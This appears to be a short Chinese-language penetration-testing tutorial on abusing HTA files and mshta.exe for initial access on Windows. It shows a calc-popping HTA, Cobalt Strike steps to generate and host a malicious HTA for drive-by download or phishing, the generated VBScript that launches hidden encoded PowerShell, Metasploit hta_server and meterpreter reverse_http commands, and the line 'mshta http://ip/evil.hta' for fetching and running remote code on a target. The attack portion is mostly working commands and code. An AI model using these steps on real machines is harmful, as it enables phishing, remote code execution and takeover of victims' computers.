HTA 介绍
HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别
大多数的Windows操作系统都支持Hta文件执行,可双击运行hta应用或命令行窗口mshta.exe解析执行文件,这里的.hta文件可以是本地的也可以是可访问的远程主机上的
HTA虽然用HTML、JS和CSS编写,却比普通网页权限大得多。它具有桌面程序的所有权限(读写文件、操作注册表等)
HTA 简单用法
可双击运行hta应用或命令窗口mshta.exe解析执行
<script>
hta = new ActiveXObject("WScript.Shell");
hta.run("%windir%\\System32\\cmd.exe /c calc.exe", 0);
window.close();
</script>
保存为HTA文件后就可以打开 执行后会弹出计算器
CS中利用
生成一个远端HTA恶意脚本
设置监听器
Method(payload)建议使用powershell,担心部分系统版本不兼容
HTML应用文件生成好后,来到Attacks --> Web Drive-by --> Host File
,选择刚才生成的文件,最后点击Launch,复制CS创建的链接,在目标主机上打开此链接
浏览器访问链接即可下载该hta文件,这种方式也可用于钓鱼
也可以在目标机器的命令行窗口上执行 mshta http://ip/evil.hta
即可完成上线
默认情况下,这是以powershell作为payload的hta文件
<script language="VBScript">
Function var_func()
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run "powershell -nop -w hidden -encodedcommand [powershell脚本内容]“, 0, true
End Function
var_func
self.close
</script>
MSF中利用
use exploit/windows/misc/hta_server
set payload windows/meterpreter/reverse_http
set lhost ip
set lport 监听端口
exploit -j
同样,在目标机器的命令行窗口上执行 mshta http://ip/evil.hta
即可完成上线
GOT IT!
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~